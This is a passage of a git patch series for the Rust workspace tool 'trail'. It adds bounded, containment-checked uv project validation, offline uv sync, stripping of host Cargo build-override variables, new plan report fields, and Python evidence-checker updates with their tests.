PYTHON_RESOLUTION_FILES: [&str; 6] = [ "requirements.lock", "requirements.txt", ]; +const MAX_UV_PYPROJECT_BYTES: u64 = 1024 * 1024; +const MAX_UV_GRAPH_REFERENCES: usize = 4096; + +#[derive(Clone, Debug, PartialEq, Eq)] +struct UvProjectAuthority { + project_name: String, + references: Vec, +} static PYTHON_VENV_ADAPTER_METADATA: WorkspaceEnvironmentAdapterMetadata = WorkspaceEnvironmentAdapterMetadata { @@ -335,6 +343,26 @@ impl WorkspaceEnvironmentAdapter for PythonVenvAdapter { None if managed_resolution => Some(PythonInstallContract::ManagedHashedRequirements), None => None, }; + let uv_project_authority = if install_contract == Some(PythonInstallContract::UvLock) { + Some(validate_uv_project_authority( + db, + source_root, + &component_root, + )?) + } else { + None + }; + if let Some(authority) = &uv_project_authority { + key_inputs.insert("uv_source_root".to_string(), source_root.0.clone()); + key_inputs.insert( + "uv_project_name".to_string(), + authority.project_name.clone(), + ); + key_inputs.insert( + "uv_graph_authority".to_string(), + sha256_hex(authority.references.join("\0").as_bytes()), + ); + } let uv = install_contract .map(|_| resolve_workspace_tool_executable("uv")) .transpose()?; @@ -473,7 +501,8 @@ impl WorkspaceEnvironmentAdapter for PythonVenvAdapter { PythonInstallContract::UvLock => vec![ "sync".to_string(), "--frozen".to_string(), - "--no-install-project".to_string(), + "--offline".to_string(), + "--no-progress".to_string(), "--no-python-downloads".to_string(), "--active".to_string(), ], @@ -535,10 +564,55 @@ impl WorkspaceEnvironmentAdapter for PythonVenvAdapter { "VIRTUAL_ENV".to_string(), mounted_output_placeholder("venv"), ), + ( + "UV_PROJECT_ENVIRONMENT".to_string(), + mounted_output_placeholder("venv"), + ), ]), remove_environment: Vec::new(), cache_names: Vec::new(), }); + if let Some(authority) = &uv_project_authority { + mounted_commands.push(WorkspaceEnvironmentCommand { + program: "uv".to_string(), + resolved_program: uv.path.clone(), + executable_identity: uv.identity.clone(), + args: vec![ + "run".to_string(), + "--frozen".to_string(), + "--offline".to_string(), + "--no-sync".to_string(), + "python".to_string(), + "-c".to_string(), + "import importlib.metadata,sys; importlib.metadata.distribution(sys.argv[1])" + .to_string(), + authority.project_name.clone(), + ], + working_directory: component_root.clone(), + environment: BTreeMap::from([ + ( + "UV_CACHE_DIR".to_string(), + download_cache + .storage_path + .join("uv") + .to_string_lossy() + .into_owned(), + ), + ("UV_NO_PROGRESS".to_string(), "1".to_string()), + ("UV_PYTHON_DOWNLOADS".to_string(), "never".to_string()), + ( + "VIRTUAL_ENV".to_string(), + mounted_output_placeholder("venv"), + ), + ( + "UV_PROJECT_ENVIRONMENT".to_string(), + mounted_output_placeholder("venv"), + ), + ]), + remove_environment: Vec::new(), + cache_names: Vec::new(), + }); + } } key_inputs.insert( "mounted_action".to_string(), @@ -567,7 +641,7 @@ impl WorkspaceEnvironmentAdapter for PythonVenvAdapter { platform: std::env::consts::OS.to_string(), architecture: std::env::consts::ARCH.to_string(), portability_scope: "lane-private-host-python".to_string(), - strategy: "python-venv-private-direct-init-v5".to_string(), + strategy: "python-venv-private-direct-init-v6".to_string(), }, inputs, resolution_inputs, @@ -602,6 +676,139 @@ impl WorkspaceEnvironmentAdapter for PythonVenvAdapter { } } +fn validate_uv_project_authority( + db: &Trail, + source_root: &ObjectId, + component_root: &str, +) -> Result { + let path = join_python_path(component_root, "pyproject.toml"); + let entry = db.root_file_entry(source_root, &path)?.ok_or_else(|| { + Error::InvalidInput(format!( + "uv.lock component `{}` requires pyproject.toml", + display_python_root(component_root) + )) + })?; + if entry.size_bytes > MAX_UV_PYPROJECT_BYTES { + return Err(Error::InvalidInput(format!( + "uv project metadata `{path}` exceeds {MAX_UV_PYPROJECT_BYTES} bytes" + ))); + } + let bytes = db.materialize_entry_bytes(&entry)?; + let text = std::str::from_utf8(&bytes) + .map_err(|_| Error::InvalidInput(format!("uv project metadata `{path}` is not UTF-8")))?; + let document = toml::from_str::(text).map_err(|error| { + Error::InvalidInput(format!( + "uv project metadata `{path}` is malformed TOML: {error}" + )) + })?; + let project_name = document + .get("project") + .and_then(toml::Value::as_table) + .and_then(|project| project.get("name")) + .and_then(toml::Value::as_str) + .filter(|name| !name.is_empty() && name.len() <= 256) + .ok_or_else(|| { + Error::InvalidInput(format!( + "uv project metadata `{path}` requires one bounded [project].name" + )) + })? + .to_string(); + let mut references = vec![format!("project:{project_name}")]; + if let Some(uv) = document + .get("tool") + .and_then(|tool| tool.get("uv")) + .and_then(toml::Value::as_table) + { + if let Some(workspace) = uv.get("workspace").and_then(toml::Value::as_table) { + for field in ["members", "exclude"] { + if let Some(values) = workspace.get(field) { + let values = values.as_array().ok_or_else(|| { + Error::InvalidInput(format!("tool.uv.workspace.{field} must be an array")) + })?; + for value in values { + let value = value.as_str().ok_or_else(|| { + Error::InvalidInput(format!( + "tool.uv.workspace.{field} entries must be strings" + )) + })?; + validate_uv_contained_reference(component_root, value, true)?; + references.push(format!("workspace:{field}:{value}")); + } + } + } + } + if let Some(sources) = uv.get("sources").and_then(toml::Value::as_table) { + for (name, source) in sources { + let source_values = source + .as_array() + .map_or_else(|| vec![source], |values| values.iter().collect()); + for source in source_values { + if let Some(path) = source + .as_table() + .and_then(|table| table.get("path")) + .and_then(toml::Value::as_str) + { + validate_uv_contained_reference(component_root, path, false)?; + references.push(format!("source:{name}:{path}")); + } + if source + .as_table() + .and_then(|table| table.get("workspace")) + .and_then(toml::Value::as_bool) + == Some(true) + { + references.push(format!("source:{name}:workspace")); + } + } + } + } + } + if references.len() > MAX_UV_GRAPH_REFERENCES { + return Err(Error::InvalidInput(format!( + "uv project graph exceeds {MAX_UV_GRAPH_REFERENCES} references" + ))); + } + references.sort(); + references.dedup(); + Ok(UvProjectAuthority { + project_name, + references, + }) +} + +fn validate_uv_contained_reference( + component_root: &str, + reference: &str, + allow_glob: bool, +) -> Result<()> { + if reference.is_empty() || reference.len() > 4096 { + return Err(Error::InvalidInput( + "uv workspace/source path is empty or oversized".to_string(), + )); + } + let prefix = if allow_glob { + reference + .find(['*', '?', '[']) + .map_or(reference, |index| &reference[..index]) + .trim_end_matches('/') + } else { + reference + }; + if prefix.is_empty() && reference.starts_with(['*', '?', '[']) { + return Err(Error::InvalidInput( + "uv workspace glob must have a contained literal prefix".to_string(), + )); + } + let joined = join_python_path(component_root, prefix); + normalize_relative_path(&joined).map_err(|error| { + Error::InvalidInput(format!( + "uv workspace/source path `{reference}` escapes component `{}`: {error}", + display_python_root(component_root) + )) + })?; + Ok(()) +} + fn python_source_resolution( db: &Trail, source_root: &ObjectId, @@ -1178,11 +1385,18 @@ mod tests { let plan = db .plan_workspace_environment("python", "trail/python-venv@1", None) .unwrap(); - assert_eq!(plan.commands.len(), 2); + assert_eq!(plan.commands.len(), 3); assert_eq!(plan.commands[0].phase, "mounted_initialization"); assert_eq!(plan.commands[1].phase, "mounted_initialization"); assert_eq!(plan.commands[1].program, "uv"); assert!(plan.commands[1].args.iter().any(|arg| arg == "--frozen")); + assert!(plan.commands[1].args.iter().any(|arg| arg == "--offline")); + assert!(!plan.commands[1] + .args + .iter() + .any(|arg| arg == "--no-install-project")); + assert_eq!(plan.commands[2].program, "uv"); + assert!(plan.commands[2].args.iter().any(|arg| arg == "--no-sync")); #[cfg(target_os = "macos")] assert_eq!( plan.commands[0].args, @@ -1245,6 +1459,73 @@ mod tests { .is_file()); } + #[test] + fn uv_project_authority_is_bounded_contained_and_source_sensitive() { + if resolve_python_executable().is_err() || resolve_workspace_tool_executable("uv").is_err() + { + return; + } + let workspace = tempfile::tempdir().unwrap(); + fs::create_dir_all(workspace.path().join("packages/member/src/member")).unwrap(); + fs::write( + workspace.path().join("pyproject.toml"), + "[project]\nname = \"uv-root\"\nversion = \"0.1.0\"\n\n[tool.uv.workspace]\nmembers = [\"packages/*\"]\n\n[tool.uv.sources]\nmember = { workspace = true }\n", + ) + .unwrap(); + fs::write(workspace.path().join("uv.lock"), "version = 1\n").unwrap(); + fs::write( + workspace.path().join("packages/member/pyproject.toml"), + "[project]\nname = \"member\"\nversion = \"0.1.0\"\n", + ) + .unwrap(); + fs::write( + workspace + .path() + .join("packages/member/src/member/__init__.py"), + "VALUE = 1\n", + ) + .unwrap(); + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let mut db = Trail::open(workspace.path()).unwrap(); + let first_root = db.get_ref("refs/branches/main").unwrap().root_id; + let authority = validate_uv_project_authority(&db, &first_root, "").unwrap(); + assert_eq!(authority.project_name, "uv-root"); + assert!(authority + .references + .contains(&"workspace:members:packages/*".to_string())); + let first = PYTHON_VENV_ADAPTER.plan(&db, &first_root, "").unwrap(); + assert_eq!(first.layer_key.inputs["uv_source_root"], first_root.0); + + fs::write( + workspace + .path() + .join("packages/member/src/member/__init__.py"), + "VALUE = 2\n", + ) + .unwrap(); + db.record( + Some("main"), + Some("change uv member source".to_string()), + Actor::human(), + false, + ) + .unwrap(); + let second_root = db.get_ref("refs/branches/main").unwrap().root_id; + let second = PYTHON_VENV_ADAPTER.plan(&db, &second_root, "").unwrap(); + assert_ne!(first.layer_key, second.layer_key); + + for reference in ["../outside", "/absolute"] { + assert!(validate_uv_contained_reference("", reference, false) + .unwrap_err() + .to_string() + .contains("escapes")); + } + assert!(validate_uv_contained_reference("", "*", true) + .unwrap_err() + .to_string() + .contains("literal prefix")); + } + #[test] fn mounted_python_initialization_crash_helper() { let Some(workspace) = std::env::var_os("TRAIL_TEST_MOUNTED_PYTHON_WORKSPACE") else { @@ -1416,9 +1697,9 @@ mod tests { let direct_venv = paths.generated_upper.join(component).join(".venv"); assert!(venv.join("pyvenv.cfg").is_file()); #[cfg(windows)] - let executable = venv.join("Scripts/python.exe"); + let executable = direct_venv.join("Scripts/python.exe"); #[cfg(not(windows))] - let executable = venv.join("bin/python"); + let executable = direct_venv.join("bin/python"); let prefix = Command::new(executable) .args(["-c", "import sys; print(sys.prefix)"]) .output() diff --git a/trail/src/db/lane/workspace_view.rs b/trail/src/db/lane/workspace_view.rs index 9fb5df60..6039b539 100644 --- a/trail/src/db/lane/workspace_view.rs +++ b/trail/src/db/lane/workspace_view.rs @@ -984,6 +984,16 @@ impl Trail { ) -> Result { let environment = self.workspace_command_environment(view, source_root)?; let mut process = Command::new(&command[0]); + if environment + .iter() + .any(|(name, _)| name == "CARGO_TARGET_DIR") + { + for (name, _) in std::env::vars_os() { + if managed_cargo_host_environment_is_untrusted(&name) { + process.env_remove(name); + } + } + } process .args(&command[1..]) .current_dir(&view.mountpoint) @@ -1175,10 +1185,17 @@ impl Trail { continue; } for binding in adapter.command_bindings() { + let value = if binding.value + == super::workspace_environment::WORKSPACE_COMMAND_BINDING_MOUNTPOINT + { + view.mountpoint.clone() + } else { + binding.value.to_string() + }; insert_workspace_command_binding( &mut bindings, binding.environment, - binding.value.to_string(), + value, &component_id, )?; } @@ -2105,6 +2122,26 @@ fn command_available(command: &str) -> bool { }) } +fn managed_cargo_host_environment_is_untrusted(name: &std::ffi::OsStr) -> bool { + let Some(name) = name.to_str() else { + return false; + }; + name.starts_with("CARGO_BUILD_") + || name.starts_with("CARGO_PROFILE_") + || name.starts_with("CARGO_TARGET_") + || matches!( + name, + "CARGO_ENCODED_RUSTFLAGS" + | "CARGO_INCREMENTAL" + | "RUSTC" + | "RUSTC_WRAPPER" + | "RUSTC_WORKSPACE_WRAPPER" + | "RUSTDOC" + | "RUSTDOCFLAGS" + | "RUSTFLAGS" + ) +} + #[derive(Clone, Copy, Debug, Default)] struct DirectoryUsage { logical_bytes: u64, @@ -2215,6 +2252,24 @@ mod tests { use std::thread; use std::time::Duration; + #[test] + fn managed_cargo_execution_rejects_host_build_policy_overrides() { + for name in [ + "CARGO_BUILD_RUSTFLAGS", + "CARGO_PROFILE_DEV_DEBUG", + "CARGO_TARGET_AARCH64_APPLE_DARWIN_RUSTFLAGS", + "CARGO_TARGET_DIR", + "CARGO_INCREMENTAL", + "RUSTC_WRAPPER", + "RUSTFLAGS", + ] { + assert!(managed_cargo_host_environment_is_untrusted(name.as_ref())); + } + for name in ["CARGO_HOME", "CARGO_NET_OFFLINE", "PATH", "RUSTUP_HOME"] { + assert!(!managed_cargo_host_environment_is_untrusted(name.as_ref())); + } + } + #[test] fn checkpoint_crash_helper() { let Some(workspace) = std::env::var_os("TRAIL_TEST_CRASH_WORKSPACE") else { diff --git a/trail/src/model/reports/lane.rs b/trail/src/model/reports/lane.rs index 4eb9c5a3..5dcd1606 100644 --- a/trail/src/model/reports/lane.rs +++ b/trail/src/model/reports/lane.rs @@ -929,6 +929,8 @@ pub struct EnvironmentPlanReport { pub source_root: ObjectId, pub component_id: String, pub adapter_identity: String, + pub adapter_implementation_version: String, + pub adapter_distribution_digest: String, pub kind: String, pub component_key: String, #[serde(default)] diff --git a/trail/src/server/openapi/schemas/lane.rs b/trail/src/server/openapi/schemas/lane.rs index 90d2d46b..82156b6e 100644 --- a/trail/src/server/openapi/schemas/lane.rs +++ b/trail/src/server/openapi/schemas/lane.rs @@ -1195,12 +1195,14 @@ pub(super) fn lane_schemas() -> Value { }, "EnvironmentPlanReport": { "type": "object", - "required": ["source_root", "component_id", "adapter_identity", "kind", "component_key", "dependencies", "dependency_edges", "caches", "external_artifacts", "runtime_resources", "inputs", "tools", "commands", "outputs", "output_path", "mount_path", "portability_scope", "capabilities"], + "required": ["source_root", "component_id", "adapter_identity", "adapter_implementation_version", "adapter_distribution_digest", "kind", "component_key", "dependencies", "dependency_edges", "caches", "external_artifacts", "runtime_resources", "inputs", "tools", "commands", "outputs", "output_path", "mount_path", "portability_scope", "capabilities"], "additionalProperties": false, "properties": { "source_root": { "type": "string" }, "component_id": { "type": "string" }, "adapter_identity": { "type": "string" }, + "adapter_implementation_version": { "type": "string" }, + "adapter_distribution_digest": { "type": "string" }, "kind": { "type": "string" }, "component_key": { "type": "string" }, "dependencies": { "type": "array", "items": { "type": "string" } }, diff --git a/trail/tests/changed_path_ledger_activation.rs b/trail/tests/changed_path_ledger_activation.rs index cecc51c6..e876b9ab 100644 --- a/trail/tests/changed_path_ledger_activation.rs +++ b/trail/tests/changed_path_ledger_activation.rs @@ -90,11 +90,11 @@ fn authority_requires_every_checked_gate_and_supported_platform() { ); assert_eq!( complete["raw_mutation_inventory_sha256"], - "b019b6ae19373c56d71f3216008cca8cef1a5fda85d5781136e76781d0408530" + "9555ad8d0be83713955c1d6e3a6dfb8524d4d861c473f9a51bdc4e3144d0518d" ); assert_eq!( complete["activation_audit_sha256"], - "58c8857047844e15d91807540225941fa92724deb46f15b4604cbb1edfa565d5" + "9f5f462f7eae0fc6f903c4fb89146b3f59caf6bb5b415221a65938edba59e4df" ); assert!(!trail::test_support::changed_path_authority_enabled_for("windows").unwrap()); assert!(!trail::test_support::changed_path_authority_enabled_for("freebsd").unwrap()); diff --git a/trail/tests/e2e.rs b/trail/tests/e2e.rs index 97b351a0..3c0bd6be 100644 --- a/trail/tests/e2e.rs +++ b/trail/tests/e2e.rs @@ -11831,6 +11831,7 @@ fn layered_workspace_reports_have_http_mcp_and_openapi_parity() { "trail/cmake-build@1", "trail/command@1", "trail/go-vendor@1", + "trail/go-vendor@2", "trail/node@1", "trail/oci-image@1", "trail/python-venv@1", @@ -12370,6 +12371,14 @@ fn pinned_oci_metadata_has_cli_http_mcp_openapi_and_gc_parity() { assert_eq!(http_plan.status, 200); let plan: serde_json::Value = http_plan.body_json().unwrap(); assert_eq!(plan["component_id"], "oci-images"); + assert_eq!( + plan["adapter_implementation_version"], + env!("CARGO_PKG_VERSION") + ); + assert_eq!( + plan["adapter_distribution_digest"], + "builtin:pinned-oci-image-plan-v1" + ); assert_eq!(plan["kind"], "external"); assert!(plan["outputs"].as_array().unwrap().is_empty()); assert!(plan["commands"].as_array().unwrap().is_empty()); @@ -12391,6 +12400,24 @@ fn pinned_oci_metadata_has_cli_http_mcp_openapi_and_gc_parity() { ), plan ); + let mcp_plan = trail::mcp::handle_json_rpc( + &mut db, + serde_json::json!({ + "jsonrpc": "2.0", + "id": 41, + "method": "tools/call", + "params": { + "name": "trail.env_plan", + "arguments": { + "lane": "oci-surfaces", + "adapter": "trail/oci-image@1" + } + } + }), + ) + .unwrap(); + assert_eq!(mcp_plan["result"]["isError"], false); + assert_eq!(mcp_plan["result"]["structuredContent"], plan); let sync = trail::server::handle_http_request( &mut db, @@ -12462,6 +12489,19 @@ fn pinned_oci_metadata_has_cli_http_mcp_openapi_and_gc_parity() { .iter() .any(|field| field == "external_artifacts") ); + for field in [ + "adapter_implementation_version", + "adapter_distribution_digest", + ] { + assert!( + openapi["components"]["schemas"]["EnvironmentPlanReport"]["required"] + .as_array() + .unwrap() + .iter() + .any(|required| required == field), + "missing required plan identity field {field}" + ); + } } #[test] @@ -12619,7 +12659,7 @@ fn environment_sync_reuses_one_node_layer_across_http_and_mcp_parity() { assert_eq!(status[0]["status"], "ready"); assert_eq!( status[0]["adapter"]["distribution_digest"], - "builtin:node-plan-v2" + "builtin:node-plan-v3" ); let generation = trail::server::handle_http_request( @@ -13458,7 +13498,7 @@ fn environment_sync_reuses_one_node_layer_across_http_and_mcp() { assert_eq!(status[0]["status"], "ready"); assert_eq!( status[0]["adapter"]["distribution_digest"], - "builtin:node-plan-v2" + "builtin:node-plan-v3" ); } diff --git a/trail/tests/fixtures/changed_path_raw_mutations.v1 b/trail/tests/fixtures/changed_path_raw_mutations.v1 index 5352e90f..6bc7244b 100644 --- a/trail/tests/fixtures/changed_path_raw_mutations.v1 +++ b/trail/tests/fixtures/changed_path_raw_mutations.v1 @@ -264,6 +264,7 @@ reviewed|db/lane/workspace_environment.rs|drop|fs::remove_file|2 reviewed|db/lane/workspace_environment.rs|environment_cache_namespace_has_live_leases|fs::remove_dir|1 reviewed|db/lane/workspace_environment.rs|environment_cache_namespace_has_live_leases|fs::remove_file|1 reviewed|db/lane/workspace_environment.rs|execute_workspace_environment_plan_in_directory|fs::create_dir_all|2 +reviewed|db/lane/workspace_environment.rs|execute_workspace_environment_plan_in_directory|OpenOptions::write|1 reviewed|db/lane/workspace_environment.rs|initialize_mounted_workspace_environment_plans|fs::create_dir_all|1 reviewed|db/lane/workspace_environment.rs|initialize_mounted_workspace_environment_plans|fs::remove_dir_all|1 reviewed|db/lane/workspace_environment.rs|execute_reviewed_builtin_resolution_plan|fs::create_dir_all|5 @@ -277,6 +278,7 @@ reviewed|db/lane/workspace_environment.rs|materialize_workspace_environment_inpu reviewed|db/lane/workspace_environment.rs|materialize_workspace_environment_input|fs::set_permissions|1 reviewed|db/lane/workspace_environment.rs|materialize_workspace_environment_input|OpenOptions::write|1 reviewed|db/lane/workspace_environment.rs|materialize_mounted_command_args|fs::create_dir_all|1 +reviewed|db/lane/workspace_environment.rs|normalize_process_tree_output_symlinks|fs::remove_file|1 reviewed|db/lane/workspace_environment.rs|workspace_environment_staging_parent_path_fallback|fs::create_dir_all|2 reviewed|db/lane/workspace_environment.rs|run_mounted_workspace_environment_command|fs::copy|1 reviewed|db/lane/workspace_environment.rs|run_mounted_workspace_environment_command|fs::create_dir_all|3 diff --git a/trail/tests/lane_environment_inheritance.rs b/trail/tests/lane_environment_inheritance.rs index 3764dc8b..1f2afaee 100644 --- a/trail/tests/lane_environment_inheritance.rs +++ b/trail/tests/lane_environment_inheritance.rs @@ -70,7 +70,7 @@ fn lane_fork_inherits_verified_immutable_layer_with_fresh_private_uppers() { "INSERT INTO environment_component_states( view_id,component_id,adapter_identity,adapter_version,implementation_version, distribution_digest,kind,expected_key,attached_key,status,reason,updated_at) - VALUES(?1,'node','trail/node@1',1,?2,'builtin:node-plan-v2','dependency', + VALUES(?1,'node','trail/node@1',1,?2,'builtin:node-plan-v3','dependency', ?3,?3,'ready',NULL,1)", params![ &parent_view.view_id, From ec91837d8ba284d96ec6e43df95e0d2a9f07d4ad Mon Sep 17 00:00:00 2001 From: forhappy Date: Wed, 12 Aug 2026 14:48:05 -0700 Subject: [PATCH 2/5] Fix portable workdir evidence validation --- .../check-external-build-system-handoff.py | 21 ++++++-- ...est_check_external_build_system_handoff.py | 48 +++++++++++++++++++ 2 files changed, 64 insertions(+), 5 deletions(-) diff --git a/scripts/check-external-build-system-handoff.py b/scripts/check-external-build-system-handoff.py index c5a2d13b..e5315c98 100644 --- a/scripts/check-external-build-system-handoff.py +++ b/scripts/check-external-build-system-handoff.py @@ -7,7 +7,7 @@ import hashlib import json import platform -from pathlib import Path +from pathlib import Path, PurePosixPath, PureWindowsPath from typing import Any @@ -20,6 +20,19 @@ NIX_PLATFORM = "linux/arm64" +def portable_absolute_path_identity(value: Any) -> tuple[str, str] | None: + """Return a stable identity for an absolute POSIX or Windows evidence path.""" + if not isinstance(value, str): + return None + windows_path = PureWindowsPath(value) + if windows_path.is_absolute(): + return ("windows", str(windows_path).casefold()) + posix_path = PurePosixPath(value) + if posix_path.is_absolute(): + return ("posix", str(posix_path)) + return None + + def load_report(raw: Path, name: str) -> dict[str, Any]: value = json.loads((raw / f"{name}.json").read_text(encoding="utf-8")) if not isinstance(value, dict): @@ -247,10 +260,8 @@ def check_evidence( workdirs = [spawn.get("workdir") for spawn in spawns] backends = [spawn.get("workdir_mode") for spawn in spawns] - if len(set(workdirs)) != 3 or any( - not isinstance(workdir, str) or not Path(workdir).is_absolute() - for workdir in workdirs - ): + workdir_identities = [portable_absolute_path_identity(item) for item in workdirs] + if None in workdir_identities or len(set(workdir_identities)) != 3: raise AssertionError("A, B, and C need distinct absolute workdirs") if len(set(backends)) != 1 or backends[0] not in { "fuse-cow", diff --git a/scripts/test_check_external_build_system_handoff.py b/scripts/test_check_external_build_system_handoff.py index cb9702fe..a7976118 100644 --- a/scripts/test_check_external_build_system_handoff.py +++ b/scripts/test_check_external_build_system_handoff.py @@ -261,6 +261,54 @@ def test_accepts_all_external_system_contracts(self): ) self.assertEqual(len(evidence["lane_ancestry"]), 3) + def test_accepts_windows_workdirs_when_verified_on_any_host(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root) + for index, lane in enumerate(CHECKER.LANES): + self.write( + root / "raw", + f"spawn-{lane}", + { + "base_change": "main" if not index else f"change-{index - 1}", + "workdir": f"D:\\trail\\{lane}", + "workdir_mode": "dokan-cow", + }, + ) + evidence = CHECKER.check_evidence( + root, "gradle", "repo", "revision", component_id + ) + self.assertEqual(evidence["backend"], "dokan-cow") + self.assertEqual( + evidence["workdirs"], + [f"D:\\trail\\{lane}" for lane in CHECKER.LANES], + ) + + def test_rejects_windows_workdirs_that_differ_only_by_case(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root) + for lane, workdir in zip( + CHECKER.LANES, + (r"D:\trail\lane", r"d:\TRAIL\LANE", r"D:\trail\lane-c"), + strict=True, + ): + path = root / "raw" / f"spawn-{lane}.json" + report = json.loads(path.read_text(encoding="utf-8")) + report["workdir"] = workdir + self.write(root / "raw", f"spawn-{lane}", report) + with self.assertRaisesRegex(AssertionError, "distinct absolute workdirs"): + CHECKER.check_evidence( + root, "gradle", "repo", "revision", component_id + ) + + def test_rejects_relative_workdir(self): + self.mutate_and_reject( + "spawn-agent-b", + lambda report: report.update(workdir="workspace/agent-b"), + "distinct absolute workdirs", + ) + def mutate_and_reject(self, name, mutate, message): with tempfile.TemporaryDirectory() as temp: root = pathlib.Path(temp) From 80cefa48531c6dad0e18bb6a88b1ccb142c75a96 Mon Sep 17 00:00:00 2001 From: forhappy Date: Wed, 12 Aug 2026 15:34:32 -0700 Subject: [PATCH 3/5] Fix hosted framework tool provisioning --- .github/workflows/layered-workspaces.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/layered-workspaces.yml b/.github/workflows/layered-workspaces.yml index 8bcb55eb..83760d14 100644 --- a/.github/workflows/layered-workspaces.yml +++ b/.github/workflows/layered-workspaces.yml @@ -292,7 +292,9 @@ jobs: uses: oven-sh/setup-bun@v2 with: bun-version: "1.3.10" - - if: ${{ matrix.framework == 'uv' }} + - if: ${{ matrix.framework == 'npm' }} + run: npm install --global npm@11.12.1 + - if: ${{ matrix.framework == 'python' || matrix.framework == 'uv' }} uses: astral-sh/setup-uv@v6 with: version: "0.11.19" From 831cd1f3dd365e3c65221fb8cda492eb9e4c8cb2 Mon Sep 17 00:00:00 2001 From: forhappy Date: Wed, 12 Aug 2026 16:24:11 -0700 Subject: [PATCH 4/5] Fix uv-backed Python qualification --- scripts/check-real-framework-handoff.py | 20 ++++++-- scripts/test_check_real_framework_handoff.py | 49 +++++++++++++++++--- scripts/verify-real-framework-handoff.sh | 2 +- 3 files changed, 59 insertions(+), 12 deletions(-) diff --git a/scripts/check-real-framework-handoff.py b/scripts/check-real-framework-handoff.py index 7a1e4f63..d6841aee 100755 --- a/scripts/check-real-framework-handoff.py +++ b/scripts/check-real-framework-handoff.py @@ -127,6 +127,17 @@ def check_evidence( raise AssertionError("each plan must record at least one executable identity") if any(tools != tool_identities[0] for tools in tool_identities[1:]): raise AssertionError("tool executable identities changed across source-only lanes") + uv_project_plans = [ + any( + item.get("source_path") == "uv.lock" + for item in plan.get("inputs", []) + if isinstance(item, dict) + ) + for plan in plans + ] + if len(set(uv_project_plans)) != 1: + raise AssertionError("Python install contract changed across source-only lanes") + uv_project = uv_project_plans[0] for lane, plan, before in zip(LANES, plans, before_generations, strict=True): if plan.get("component_id") != component_id: raise AssertionError(f"{lane} plan selected the wrong component") @@ -226,7 +237,7 @@ def check_evidence( if not layer_ids[0] or len(set(layer_ids)) != 1: raise AssertionError("Node lanes did not reuse one exact dependency layer") else: - if framework == "uv": + if uv_project: if len(set(component_keys)) != 3: raise AssertionError("uv project source edits must change private environment identity") elif len(set(component_keys)) != 1: @@ -296,7 +307,7 @@ def check_evidence( raise AssertionError(f"{child} private environment lost parent caches") first_before = select_component(before_generations[0], component_id) - if framework in {"go", "go-workspace", "uv"}: + if framework in {"go", "go-workspace"} or uv_project: if first_before["component_key"] == components[0]["component_key"]: raise AssertionError("source-sensitive environment identity did not change after edit") elif first_before["component_key"] != components[0]["component_key"]: @@ -443,11 +454,12 @@ def check_evidence( "parent_semantics_valid_before_each_edit": True, "edited_semantics_valid_after_each_edit": True, "dependency_identity_stable_for_source_independent_adapters": framework - not in {"go", "go-workspace", "uv"}, + not in {"go", "go-workspace"} + and not uv_project, "go_vendor_identity_tracks_source_sensitive_vendor_inputs": framework in {"go", "go-workspace"}, "go_multi_module_workspace_graph_verified": framework == "go-workspace", - "uv_project_identity_tracks_source_authority": framework == "uv", + "uv_project_identity_tracks_source_authority": uv_project, "cmake_incremental_recompile_and_link_behavior_verified": framework in {"cmake", "cmake-modern"}, "cmake_preset_ninja_ccache_private_output_verified": framework diff --git a/scripts/test_check_real_framework_handoff.py b/scripts/test_check_real_framework_handoff.py index 5e381cb6..5b9d1a6f 100644 --- a/scripts/test_check_real_framework_handoff.py +++ b/scripts/test_check_real_framework_handoff.py @@ -16,7 +16,7 @@ class RealFrameworkHandoffCheckerTests(unittest.TestCase): def write_report(self, raw, name, value): (raw / f"{name}.json").write_text(json.dumps(value), encoding="utf-8") - def fixture(self, root, framework): + def fixture(self, root, framework, *, python_uv_project=False): raw = root / "raw" raw.mkdir() component_id = { @@ -33,11 +33,10 @@ def fixture(self, root, framework): shared_key = "key-shared" shared_layer = "layer-shared" for index, lane in enumerate(CHECKER.LANES): - key = ( - f"key-{index}" - if framework in {"go", "go-workspace", "uv"} - else shared_key + source_sensitive = framework in {"go", "go-workspace", "uv"} or ( + framework == "python" and python_uv_project ) + key = f"key-{index}" if source_sensitive else shared_key if framework in {"go", "go-workspace"}: layer = f"layer-{index}" storage = layer @@ -89,9 +88,9 @@ def fixture(self, root, framework): else: before = json.loads(json.dumps(generation)) before["source_root"] = "root-baseline" - if framework in {"go", "go-workspace", "uv"}: + if source_sensitive: before["components"][0]["component_key"] = "key-baseline" - if framework != "uv": + if framework in {"go", "go-workspace"}: before["components"][0]["layer_id"] = "layer-baseline" self.write_report(raw, f"generation-before-edit-{lane}", before) self.write_report( @@ -103,6 +102,12 @@ def fixture(self, root, framework): "component_key": before["components"][0]["component_key"], "source_root": before["source_root"], "tools": {"tool-executable": "sha256:tool"}, + "inputs": ( + [{"source_path": "uv.lock"}] + if source_sensitive + and framework not in {"go", "go-workspace"} + else [] + ), "outputs": before["components"][0]["outputs"], }, ) @@ -299,6 +304,26 @@ def test_accepts_each_framework_contract(self): 31 if framework in CHECKER.INVALIDATION_PATHS else 25, ) + def test_accepts_python_label_with_resolved_uv_project_contract(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root, "python", python_uv_project=True) + evidence = CHECKER.check_evidence( + root, + "python", + "https://example.invalid/python-uv-project.git", + "b" * 40, + component_id, + ) + self.assertTrue( + evidence["assertions"]["uv_project_identity_tracks_source_authority"] + ) + self.assertFalse( + evidence["assertions"][ + "dependency_identity_stable_for_source_independent_adapters" + ] + ) + def test_rejects_missing_or_changed_tool_identity(self): with tempfile.TemporaryDirectory() as temp: root = pathlib.Path(temp) @@ -309,6 +334,16 @@ def test_rejects_missing_or_changed_tool_identity(self): with self.assertRaisesRegex(AssertionError, "executable identity"): CHECKER.check_evidence(root, "pnpm", "repo", "rev", component_id) + def test_rejects_python_install_contract_drift_between_lanes(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root, "python") + plan = json.loads((root / "raw/plan-agent-b.json").read_text(encoding="utf-8")) + plan["inputs"] = [{"source_path": "uv.lock"}] + self.write_report(root / "raw", "plan-agent-b", plan) + with self.assertRaisesRegex(AssertionError, "install contract changed"): + CHECKER.check_evidence(root, "python", "repo", "rev", component_id) + def 